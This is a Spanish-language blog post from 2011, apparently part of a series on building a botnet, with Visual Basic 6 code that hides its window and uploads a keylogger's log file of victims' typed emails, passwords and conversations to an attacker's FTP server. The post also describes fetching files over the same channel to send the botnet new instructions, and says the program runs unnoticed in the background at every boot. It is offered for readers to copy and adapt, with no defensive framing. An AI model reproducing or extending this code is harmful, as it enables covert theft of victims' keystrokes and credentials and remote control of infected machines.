DESARROLLANDO UNA BOTNET

Posted on 11/06/2011

0



Hola, continuando con la elaboración de un botnet, aquí te pongo el código de como enviar la información de las maquinas infectadas al servidor mediante ftp, preferí hacerlo desde este protocolo por el mejor manejo de archivos y de una forma directa, probé con twitter pero me permiten enviar actualizaciones mínimas por día, así que no me conviene. El botnet lo que hará al hospedarse en la maquina cliente, sera guardar toda la información que se digite, ya sea cuentas de correo, mensajes, conversaciones, etc. en un archivo de texto, luego cada cierto intervalo de tiempo mandar ese archivo que tiene la información a un servidor ftp.

En la entrada  anterior  muestro como hacer el keylogger, aqui te dejo como enviar ese archivo al servidor ftp.

Este código me costo elaborarlo ya que los ejemplos que hay en internet no están funcionando correctamente, el truco estaba en poner los MousePointer antes y después de la llamada PUT propia del ftp. Así que sácale provecho a este código y mejorarlo, y para obtener un archivo desde el servidor mediante ftp solo bastaría con reemplazar el PUT por el GET seguido del remoteFileFal y localFileFal respectivamente, y esto para que?…sera para enviar información al botnet, osea mandarle nuevas instrucciones.

NOTA: cuando se ejecute el botnet cada vez que se prenda la maquina, este no se hará notar, trabajara en background y todo el proceso que realizara no sera notado por el usuario.

Creas una aplicacion simple en VB6, agregas el componente Microsoft Internet Transfer Control 6.0

Ahora copia y pega y modifica a tu criterio este código.

Option Explicit

Private Sub cierraConexion(objInet As Inet)
    On Error GoTo error_Handler
    Screen.MousePointer = vbHourglass
    With objInet
        Do
            DoEvents
        Loop Until .StillExecuting = False
    End With
    Screen.MousePointer = vbDefault
    Exit Sub
error_Handler:
    Screen.MousePointer = vbDefault
End Sub

Private Sub Form_Load()
    Me.Visible = False
    On Error GoTo error_Handler

    Dim hostFal As String
    Dim localFileFal As String
    Dim remoteFileFal As String

    hostFal = "ftp://tu_direccion_ftp"
    'el archivo local
    localFileFal = "C:\logger.txt"
    'el nombre y ruta del nuevo arvhivo que sera enviado a tu servidor ftp
    remoteFileFal = "/public_html/logger.txt"

    With Inet1

        .URL = host
        .UserName = "tu_usuario_del_servidor_ftp"
        .Password = "tu_clave_del_servidor_ftp"

        Call .Execute(, "Put " & localFileFal & " " & remoteFileFal)

        Call cierraConexion(Inet1)
     End With
Exit Sub
error_Handler:
     Me.MousePointer = vbDefault
End Sub

Con esto ya estaríamos teniendo el 50% del botnet.

NOTA: para que no seas parte de este ataque, no uses WINDOW SUCKS!!

Anuncios
Etiquetado:
Posted in: botnet